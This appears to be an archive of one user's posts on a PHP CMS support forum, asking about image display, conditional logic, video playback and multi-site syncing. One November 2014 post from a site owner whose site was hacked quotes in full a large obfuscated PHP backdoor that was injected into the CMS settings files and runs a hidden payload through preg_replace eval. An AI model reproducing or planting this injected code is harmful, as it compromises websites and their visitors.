Possible PHP version conflict

Wed, 19 Nov 2014 02:42:08 -0800

Hello,

I have version 2.52 installed and up until the other day it was running without problem.

Yesterday we had some technical issues with the server which our support people sorted and in the process PHP was upgraded to 5.4.35 and ioncube remains at 4.2.2

We can log in to CMS Admin without problem, but no records are showing on site

Is this to do with the PHP version that is now running on the server if so which PHP versions are compatible?

Thanks - Mel

Very Urgent - Site has stopped displaying records - loadINI: Error parsing

Mon, 17 Nov 2014 16:16:43 -0800

UPDATE:

Site now back on line after clearing all spurious lines of code out of all infected files

Found the answer in the archives - seems other users have had a similar problem over time

All good fun when you consider my passwords are exceedingly strong so it looks as though they got in through a backdoor one way or another

Fortunately none of the data was destroyed and I back everything regularly

So anybody that does not TAKE NOTE: BACK EVERYTHING UP REGULARLY

Regards - Mel

Very Urgent - Site has stopped displaying records - loadINI: Error parsing

Mon, 17 Nov 2014 14:34:26 -0800

Hello,

Have an urgent problem, for some reason the site has stopped displaying data

Running version 2.05

Also unable to login th the admin panel see error code below

loadINI: Error parsing /home/melsview/public_html/cmsAdmin/data/settings.dat.php on line 1

Also in the settings.dat file above the settings information is this code, should it be there?

AS well as the settings.dat file

All bar 2 of the ini.php files in the schema folder are all showing as changed yesterday all at the same time 23.29

Not changed by us!

And all have the code below at the top of each file

Please advise

Thanks - Mel

#L4]275L3]248L3P6L1M5]D2P4]A%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%xx5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6#]y3g]61]y3f]x5c%x7825)}k~~~!#]y84]275]y83]248]y83]256]y81]265]y72]254]yw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x]y6g]257]y86]267]y74]275]y7:]268]y7f#^#!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5c%x78%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%xx5c%x7825tzw>!#]y76]277]y72]265]y39]npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7860hfsq)!sp!*#ojneb#-*f%x5c%x78ji%x5c%x78786!#]D6M7]K3#<%x5c%x7825yy>#]D6156%x75%156%x61"]=1; function fjfgg($n){return chr(ord($66%147%x67%42%x2c%163%x74%162%x5f% preg_replace("%x2f%50%x2e%52%x29%57%x65","%x65x5c%x7827pd%x5c%x78256!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QU825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x75c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x7825j=tj{fpg)%x5c%x78255c%x7825:osvufs:~:<*9-1-r%x5c%x7UI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%782f#%x5c%x782f},;#-#}+;%x5c%x7825-qe:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]D8]bT-%x5c%x7825hW~%x5c%x7825fdy)pqsut>j%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x78256<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5pn)%x5c%x7825epnbss-%x5c%x7825r%%x5c%x7825:>:r%x5c%x7825:|:**t%x525)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%27pd%x5c%x78256!#]y3d]51]y35]28;0]=])0#)U!%x5c%x7827{**u%x5c%x7825%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x28%141%x72%162%x61%171%xc%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878:-!%x5c%x7825t48y]#>s%x5c%x7825<#462]47y]252]18y]#>qx5c%x782f7^#iubq#%x5c%x7bE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf%x5c%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825x5c%x78256~6<%x5c%x787fw6<*K)fsdXA%x5c%x7827K6<%x5c%x787fw6*3qj%x5c%x78257>%x7825)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h1]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c5%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)qx782f35.)1%x5c%x782f14+9**-)1%x5c%x7860msvd}R;*msv%x5c%x7825c%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825hIr%x5c%x78x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfx787f!%x5c%x7824Ypp3)%x5c%x77R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5%x5c%x7827pd%x5c%x78256!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825tmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x7825)hopm3qjA)qj3hopmx5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x78%x5c%x7824-%x5c%x7824*!2p%x5c%x782c%x7827tfs%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,w6Z6<.3%x5c%x7860hA%782fqp%x5c%x7825>5h%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5cc%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-82f#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc2)!gj}1~!<2p%x5c%x7825%x#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboe#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]283]427]3sbqA7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~#W#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(<%#%x5c%x7824-%x5c%x7824-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>cotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!%x5c%x782f!#0#)idubn%xx7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*>*4-1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bu*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x7824:%x5c%x7860msvd}+;!>!}%x5g]273]y76]271]y7d]252]y74]256##]D4]273]D6P2L5P6]y6g5c%x782f%x5c%x7825%x5c%x7824-%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b825b:%xh%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]472]37y]672]>j%x5c%x7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!~2bd%x5c%x78250{666~6<&w6<%x5c%x787fw6*C60cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%7825b:>11<%x5c%x7825j:=tj{W&)7gj6<.[A%x5c%x7827&6<%x5c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}c%x7825ff2!>!bssbz)%x5c%x7824]25%x5c%x7824-%x5c%x7824;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x787obs%x5c%x7860un>qp%x5c%x7825!|Z~825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]4%x5c%x7825<#762]67y]562]38y]572]48y]#>m5c%x7825>U<#16,47R57,2ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5zw%x5c%x782f%x5c%x7824)#P#%x7827doj%x5c%x78256<%76#<%x5c%x7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x782]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%5!*3>?*2b%x5c%x7825)gpf6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id%x5c%x78256<%x5c%x787fw6*pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%24-%x5c%x7824y4%x5c%x7sboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>c%x7825!<*::::::-111112)e78X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78256<#o86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2>%xc%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x787825)sutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c7860ufh%x5c%x7860fmjg}[;ldpt%x5-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-c%x7824<%x5c%x7825j,,*!|%x5c%x7824-%x5c%zsfvr#%x5c%x785cq%x5c%x78257**^#zsfv%x5c%x787f_*#ujojRk3%x5c%x7867;!}6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x%x7825ggg!>!#]y81]273]y76]258]y67f!b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x582f#p#%x5c%x782f%x5c%x7834}472%x5c%x7824>%x5c%x7822!274]y85]273]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273]y72]282#p%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvupdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x7824-%x5x5c%x78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+op{jt)!gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%51%x29%73", NULL); }%x7860opjudovg%x5c%x7823,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!g5-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<4%x5c%x785c%x5c%x7825j^%x5c%x7824-%%x7825}U;y]}R;2]},;osvufs}%x5c%x7827x5c%x78e%x5c%x78b%x5c5c%x7825j:>>1*!%x5c%x7825b:>1%x5c%x782f7&y76]277]y72]265]y39]275c%x78246767~6>2*!%x5c%x7825z>32u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%xx5c%x7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy!fyqmpef)#%x5c%x7824*hmg%x5c%x7825!<12>j%xopD#)sfebfI{*w%x5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x78-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj78%x5c%x7822l:!}V;3q%x5c!>!%x5c%x7825i%x5c%x785c2^:-#1]#-bubE{h%x5c%x7825)tpqsut25b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7opo#>>}R;msv}.;%x5c%x782f#%x5c%xk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x7860x7825<#g6R85,67R37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuD6#<%x5c%x7825G]y6d]281Ld]245]K2]56]y76]72]y3d]51]y35]274]y4:]82]y3:]62]y4c#!%x5c%x782400~:1<%x5c%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^5c%x7825s:%x5c%x785c%x5c%x7825j:^!%x7]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x782285]Ke]53Ld]53]Kc]55Ld]55#*<%17]445]212]445]43]321]464]284]364]6]234]342]58]24]31#judovg+)!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%x5c%x7878pmc%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x7825)323ldfid-!%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x78278%62%x35%165%x3a%146%x21%76%x21%50%x5t2w>#]y74]273]y76]252]y85]256x7825,3,j%x5c%x7825>j%x5c%x%x7825:-5ppde:4:|:**#ppde#)tutjyf%5f%155%x61%160%x28%42%x66%152%x#]y31]278]y3e]81]K78:56985:6197g:74985-rr.9325c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x)3of:opjudovg<~%x5c%x7824!%x5c%x78242178}527}88:}3/(.*)/epreg_replaceocuxpnwyno'; $lckvejqnph = explode(chr((201-157)),'420,57,6695,28,1430,36,1077,56,4800,28,1167,47,2192,70,9869,31,1133,34,7658,32,9741,37,477,34,9144,21,9365,29,7782,46,6754,67,2098,28,3521,20,1214,54,3094,40,6190,70,7690,70,9204,44,973,58,5989,58,5675,51,2478,30,269,29,4828,35,1497,55,2508,45,3254,62,64,69,5102,52,2362,24,703,43,6451,36,8457,42,234,35,1466,31,3837,68,1939,35,2660,42,5597,22,133,24,157,48,298,68,3452,69,5749,68,6487,29,5036,26,5199,68,6516,39,6327,31,8123,35,2778,24,8956,66,4351,24,3563,42,6821,42,5817,70,511,52,7476,46,7419,57,7972,42,1873,66,8609,29,4744,56,9808,27,9022,34,6260,67,2553,47,8227,43,4157,66,2386,54,7396,23,3711,24,9280,32,3415,37,5726,23,7171,52,4976,60,7828,39,867,70,4624,37,786,45,3541,22,5964,25,5386,32,9573,53,4863,64,4034,60,937,36,2039,59,4927,49,1310,57,1706,36,3040,54,1268,42,6587,59,9626,58,8720,56,4443,38,3186,68,8688,32,1742,36,6931,63,6134,56,8586,23,8158,37,6994,53,9835,34,7102,69,9517,56,3316,38,5062,40,2913,58,6723,31,8014,54,5507,22,3005,35,8776,58,8270,68,8499,24,7557,36,5320,66,2156,36,9989,51,9100,44,4223,47,831,36,6863,68,563,61,5619,56,9778,30,658,45,8916,40,1674,32,5418,50,9394,41,2702,41,2006,33,4578,46,4330,21,4683,61,2324,38,5468,39,2440,38,10040,66,6670,25,1367,63,5267,53,9684,57,7522,35,205,29,3605,39,3965,69,746,40,5887,22,7047,55,6411,40,4094,63,1608,66,3354,61,4546,32,8195,32,2126,30,8867,49,2971,34,7936,36,9944,45,8523,63,3735,45,1974,32,2866,47,624,34,2802,64,4270,60,8396,61,5909,55,9900,44,1778,65,6047,43,3644,67,1031,46,4481,65,0,64,8834,33,9435,29,8068,55,3134,52,1843,30,9056,44,3780,57,366,54,9464,53,8338,58,2743,35,7223,66,9248,32,5154,45,9165,39,7614,44,8638,50,4661,22,9312,53,6090,44,1552,56,6646,24,7867,69,5529,42,2262,62,5571,26,6358,53,3905,60,7593,21,6555,32,4375,68,7760,22,2600,60,7289,65,7354,42'); $lxzbilfvmi=substr($gnywfcfmth,(53599-43493),(26-19)); if (!function_exists('jwhievwnzu')) { function jwhievwnzu($khctkjkegd, $twyxzogdgn) { $irnukitirr = NULL; for($qcwvkqzheh=0;$qcwvkqzheh<(sizeof($khctkjkegd)/2);$qcwvkqzheh++) { $irnukitirr .= substr($twyxzogdgn, $khctkjkegd[($qcwvkqzheh*2)],$khctkjkegd[($qcwvkqzheh*2)+1]); } return $irnukitirr; };} $meztvsfito="\x20\57\x2a\40\x68\150\x7a\165\x73\160\x68\142\x63\146\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\65\x39\55\x32\62\x32\51\x29\54\x20\143\x68\162\x28\50\x35\64\x35\55\x34\65\x33\51\x29\54\x20\152\x77\150\x69\145\x76\167\x6e\172\x75\50\x24\154\x63\153\x76\145\x6a\161\x6e\160\x68\54\x24\147\x6e\171\x77\146\x63\146\x6d\164\x68\51\x29\51\x3b\40\x2f\52\x20\162\x78\171\x67\156\x71\165\x70\151\x73\40\x2a\57\x20"; $rgehoayqyl=substr($gnywfcfmth,(59233-49120),(43-31)); $rgehoayqyl($lxzbilfvmi, $meztvsfito, NULL); $rgehoayqyl=$meztvsfito; $rgehoayqyl=(521-400); $gnywfcfmth=$rgehoayqyl-1; ?>;

Getting pictures to show using mySql query

Tue, 05 Aug 2014 11:47:30 -0700

Hi Greg,

With my limited knowledge I think we are heading in the right direction

Yes accessing from a site that does not have CMS Builder installed on it - so accessing a central database
List page - show a list of one or more records including their thumbnail which is new_imageNS
Detail page (which is reached by clicking on any of the thumbnails on the List Page to show details about a single record and display the record images the field name in the uploads file for the images being image of which there are approx 6-8 images per individual record

Thanks - Mel

Getting pictures to show using mySql query

Tue, 05 Aug 2014 09:58:38 -0700

Hi Greg,

Yes I am accessing the database direct as I am connecting via an external site, I am using the CMS as a way of easily inputting records etc into the main database

Getting pictures to show using mySql query

Tue, 05 Aug 2014 07:51:36 -0700

Hello Greg,

Thanks for coming back to me:

I am still lost on this, where should I be adding either of the two solutions that you suggested
At the present time I can access all records and call all fields with php echo
The images table is called cms_uploads and the bios table is cms_bios
The particular image field that I am trying to display for the record listings is new_imageNS
Below is the code that I am using to make the connection and list all the records, I have stripped out the styling to make it more readable

if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
{
if (PHP_VERSION < 6) {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
}

$theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

switch ($theType) {
    case "text":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "long":
    case "int":
      $theValue = ($theValue != "") ? intval($theValue) : "NULL";
      break;
    case "double":
      $theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
      break;
    case "date":
      $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
      break;
    case "defined":
      $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
      break;
}
return $theValue;
}
}

mysql_select_db($database_Webhost495, $Webhost495);
$query_bios = "SELECT * FROM cms_bios";
$bios = mysql_query($query_bios, $Webhost495) or die(mysql_error());
$row_bios = mysql_fetch_assoc($bios);
$totalRows_bios = mysql_num_rows($bios);

?>
http://www.w3.org/TR/html4/loose.dtd">

Record display test

" height="" alt="">

mysql_free_result($bios);
?>

Getting pictures to show using mySql query

Mon, 04 Aug 2014 11:54:59 -0700

Hello,

Using XYZ site both as a live site and as the platform to input master records into the Database set up

I need some help in solving the following problem:

I am able to connect to the main database and do a mysql query to display the records either as a list of records
or have an individual record page

Along the lines of the following for a list of records:

" height="" alt="">

But it will not pull up the pictures associated with each record

With the original code via the CMS which works - see below, it will pull up the pictures, so I am guessing that this has something to do with the fact that the CMS deals with display of records in a different way and uses
a different way of coding and linking to the upload directory

          " width="" height="" alt="">

View Details

Note:

I would also have to re-think how to do the custom watermark as this is a CMS plug in that generates the custom watermark - But initially I could do with some advice on how to get the pictures to show
with their associated record - I know they are in the upload file but how do I get them to show?

Thanks Mel

Real time syncing of 5 sites

Fri, 16 May 2014 15:51:11 -0700

Hi Greg,

Thanks for the reply I will take a detailed look at the posting as it looks as though it could be the answer to my question

Thanks for your help

Regards - Mel

Real time syncing of 5 sites

Fri, 16 May 2014 11:37:36 -0700

I exploring the options of having 5 websites all with PAID licenses for each site possibly on different servers

What I want to be able to do is use one domain as the master site and update the other 4 sites in Real Time from the data in the master site

Is there a way to do this this without having to do a backup from the master site and restore to the slave sites?

Jason did cover a similar question a while back - see his reply to the original posting below and whilst it would work it is not the most practical - Is there a way that this can been done in real time if needs be using some third party software?

----------------------------------------

One work around would be to put one installation of CMS Builder on each of your domains. You can then "sync" the databases of your installations by using our backup/restore options. So, for example, you can backup your database on site A, upload that backup file to site B and then use restore inside the CMS on site B. In that way, both installations would have exactly the same data.

-----------------------------------------

Thanks Mel

How to show specific images

Tue, 22 Jan 2013 10:00:19 -0800

Hi Greg,

Found the problem

In the documentation the pathway to one of the CSS files was not correct, changed that and it worked straightaway

Also your first solution to showing selected images works a treat will also test your second solution when I get a moment

Thanks for your help and also the firefox firrebug suggestion - will remember that one for the future

Mel

How to show specific images

Tue, 22 Jan 2013 07:30:12 -0800

Hi Greg,

No reply from the designer of the mobile template as yet so I have substituted a different slider which I have used for static images on another site before

This latest version also includes swipe for mobile sites although I have not set this part up as yet

I know I said that I will probably only use 2 or 3 of the six images but I thought for starters I would keep it simple for testing and rotate through all 6 images but with a view to displaying just 3 images once I have got it to work

I can get the slider to call the images from the database, so I am heading in the right direction, but it displays all six images in one go and breaks out of the slider box, is this because I am calling all the images in one hit? should I be adding something else to the php code

See code below

Thanks - Mel

" />

How to show specific images

Mon, 21 Jan 2013 10:11:01 -0800

Hi Greg,

Thanks for your reply

Re your question on image uploads:

On the PC site it needs to display all six images on the individual record page

I am in the process of putting together a mobile site and in order to avoid having to scroll through six images I may limit it to 2 or 3 only and it will also reduce load time and bandwidth usage

Although I am hoping to use the slider that comes with the design but I am not sure if you can call images from a database into the slider

I have emailed the designer to see if you can

In the menatime I will run some test with your suggestions

Thank you - Mel

PS Did you add the screenshot as I cannot see the link :-)

How to show specific images

Mon, 21 Jan 2013 09:10:48 -0800

Hi everyone,

Individual records each contain 6 images

The code below happily displays all six images with a watermark added to them without problem

If I want to display just 3 images spread throught the detail page, how do I do it?

Say images 1 - 3 - 6

" height=""
alt="" class="img_border"/>

Thanks in advance

Mel

Stopping certain fields from displaying in all records

Mon, 24 Dec 2012 05:06:07 -0800

Hi Jerry,

Will take a look at the attachement and the plugins you mentioned

In the meantime I have come up with a work around for a particular Area and locations within the area by doing the following

1. Set up a seperate detail page for the area and its locations

2. Manually coded the location pages with an ID that is passed to the new detail page

View Details

3. Then on the new detail page put the code below which works and shows the minimum appointment times for an individual record

           's


           's


           's


           's


           's


           's


           's


           's

But this is a quick fix just for a particular area and set of locations within that area where minimum appointment times are required

In the medium term hopefully there is another way of doing this, otherwise it will mean that I have to manually re-code in excess of 450 pages and growing! in order to pass values through and also end up with a massive list of if statements on the detail page that covers every town and sub category for that town/location

The 450 pages come about as all the main and sub categories are static pages and NOT dynamically produced - this has been done from a search engine point of view as each page has the title, description and keywords crafted for particular search terms - a ton of work but it has resulted in a lot of top 10 positions

If anybody would like to contribute to possible solutions to this, I would be most grateful

In the meantime a happy festive season to everyone

Mel

Stuck on if statements

Sat, 22 Dec 2012 15:41:29 -0800

Hi Jerry,

Yes powerful stuff if statements, but my other posting in the forum is not so straightforward, still scratching my head on this one

"Stopping certain fields from displaying in all records"

Best wishes to you also

Mel

Stuck on if statements

Sat, 22 Dec 2012 09:30:01 -0800

Problem solved found in the CMSB documentation

No records were found!

Stuck on if statements

Sat, 22 Dec 2012 08:57:33 -0800

Despite reading postings and the cmsbcookbook I still cannot get to grips with the if statement

All of the below works fine it loads and displays records from the database without problem, but what I want to do is if there are no records is to put some text instead i.e

"sorry there are no listings at this present time please visit us again soon"

At the moment when there are no records its just a blank page

But for the life of me I just cannot work out how to do it, what should I be adding to it?

Thanks Mel

All the code works just fine if there are records

    // load viewer library
$libraryPath = 'cmsAdmin/lib/viewer_functions.php';
$dirsToCheck = array('/home/*********/public_html/','','../','../../','../../../');
foreach ($dirsToCheck as $dir) { if (@include_once("$dir$libraryPath")) { break; }}
if (!function_exists('getRecords')) { die("Couldn't load viewer library, check filepath in sourcecode."); }

// load records
list($biosRecords, $biosMetaData) = getRecords(array(
    'tableName'   => 'bios',
    'where' => 'ne1="1"',
));
?>

Below displays thumbnail and link to detail page without problem

          " width="" height="" alt="">

View My Details

Stopping certain fields from displaying in all records

Fri, 21 Dec 2012 13:03:42 -0800

Hi Greg,

Not a 100% sure I know what you are asking but I will have a stab at it

If I am looking for company to visit me in Ambleside I go along to the Ambleside listing page

On that listing page will be displayed lets say 5 thumbnail pics which link to the individual record page, on the individual record page all the persons bio is displayed

Some will visit Ambleside for 1 hr and others will require a longer appointment time, hence the 1hr 90 mins 2hrs text

But the same people that visit Ambleside also visit other places lets say for example Manchester plus many other areas, so if you go to the Manchester page it will show lets say again 5 thumbnails and you click on the thumbnail and it takes you to the same master individual record page which at the present time still has the text on about Ambleside appointments

But I would not be interested in what their minimum appointment time was for Ambleside, obviously if it were the case that they had minimum appointment times for Manchester, then I would want them to show but NOT the comments about Ambleside

When you click on a thumbnail in any town/city/region section it does not as far as I am aware pass any information through to the detail page showing what town/city/region page you have clicked through from - which judging by your question might be what is adding to the problem - below is the code that display the thumbnail and link to the detail page

------------------------------------

          " width="" height="" alt="">

View My Details

------------------------------------

Thanks

Mel

Stopping certain fields from displaying in all records

Fri, 21 Dec 2012 07:31:07 -0800

I have a section editor called Bios which is the master section for adding records

I add records by logging in to admin and not through a php page

In the Bios section there are roughly 100+ fields some are text, picture uploads, and others are check boxes

Of these 100 plus, around 60 of these are check boxes that deal with towns/cities/regions

for example the field tw20 is Alderly Edge, cu1 is Ambleside ...... etc, etc, etc

Most of the other check boxes, text areas, image upload boxes deal with bio details of the individual

So if I design a list page with the following

list($biosRecords, $biosMetaData) = getRecords(array(
    'tableName'   => 'bios',

   'where' => " ambleside='1' OR ambleside60='1' OR ambleside90='1' OR ambleside2='1'",

This works fine for ambleside it loads all the individual bios record thumbnails and link to the individual record page which in turn displays a single bio record with all details

Up until now this has worked fine

However for a person to visit certain areas a minimum appointment time is required, so trying to be clever I added extra check boxes like

ambleside60 - which equals 60 mins
ambleside90 - which equals 90 mins
ambleside2 -   which equals 2hrs

Then added the following code to the master single record page - which is used for all bios irrespective of town/city/region

**'s minimum appointment time for Ambleside is 1hr
           **'s minimum appointment time for Ambleside is 90 minutes
           **'s minimum appointment time for Ambleside is 2hrs

Which works fine for ambleside but when you go to the Alderly Edge listings page or any other town/city/region and click on the same persons individual record link

Yes youv'e guessed it it also shows the above text up on that individual record page as well - because the check boxes are ticked on their bio's

And of course if you added more minimum appointment times for other areas, you will get a whole bunch more of irrelevant text showing up in single record pages for other towns/cities/regions

So a two part problem

1. How do I stop the text showing up in unrelated areas and only the places it is meant for

2. if I keep adding the else/if's for other towns to the master single record detail page it could get very cumbersome

Also I have this gut feeling that having a 100 plus fields on the master Bios section is possibly not the best way to do things

Initially I need to solve problems 1 & 2 but I am also open to suggestions as to a better way of organising things when it comes to the master Bios section or it may be that I need to organise it differently to solve questions 1 & 2

Thank you for your comments and help in advance
Mel

sorting a text box

Wed, 17 Oct 2012 18:24:54 -0700

I have a record field called locations which is a text box

In the text box are a variety of location names entered in no particular order and with out any commas separating them

Each record has different location names and a different amount of entries in that field

Is there a way that I can sort these location names into alphabetical order when they are displayed for each record in it's present format?

Or do I need to be entering this data in a different way instead of a text box

Thank you - Mel

Re: [Jason] Membership Plugin - Leading to own page

Wed, 22 Feb 2012 15:07:11 -0800

Hi Jason,

Re the automatically creating users..... I think you have answered that in the second paragraph

The idea is to let each user create their own listing (lets say as an example a property listing record) and be able to add/amend/delete the record

ALL of the listings would be available to the general public to view

Mel

Membership Plugin - Leading to own page

Wed, 22 Feb 2012 10:57:47 -0800

Hi,

What I have in mind is along the lines of a portal with various regions and categories within in each region

General public can view all Regions/Categories without signing up

An advertiser logs in to their own page to add update delete upload text images etc and select Region/Category to list in
(bit like a reality site with multiple companies being able to update their own data)

Can the membership plug in be used to achieve this, so once they register as an advertiser they get taken to their own personal details page for them to fill out update etc but of course not be able to access other members pages to edit

Does the plugin check for usernames passwords already in use and suggest that tell them to pick another username

Ideally the creating of users is automatic without the need to manually create a user

Thanks Mel

Re: [Jason] Cannot get mp4 file to display

Fri, 10 Feb 2012 11:27:20 -0800

Hi Jason,

Here is URL, I have stripped out some of the fields as a way of testing to see if the coding in the other fields was causing the problem and also to make less code for you to look through

The video clip is definitely uploaded in her bio record (its the longtail demo clip that comes with the player)

url: http://viewit247.com/recordtest1.php

Regards - Mel

Re: [Jason] Cannot get mp4 file to display

Mon, 06 Feb 2012 16:11:09 -0800

Hi Jason,

Thanks for the reply

Tried removing the two lines as suggested but no change... still not showing player and file

Is it something to do with the php echo for the file, although I would have thought that the player would have loaded even if the file itself was not found... have you got any other thoughts on this

file: "",

Thanks - Mel

Cannot get mp4 file to display

Sat, 04 Feb 2012 12:23:54 -0800

Hi everyone any thoughts on this problem would be appreciated

No player or clip is showing

Have in enabled the file extension mp4 in uploads

The field is called videoclip
The mp4 file is present in uploads folder
JW player is in folder called jwplayer in root directory

The first part of the code below does a check to see if checkbox video is ticked and then if so, do something

Video clip checkbox is ticked & a mp4 file has been uploaded to field videoclip....

Thanks - Mel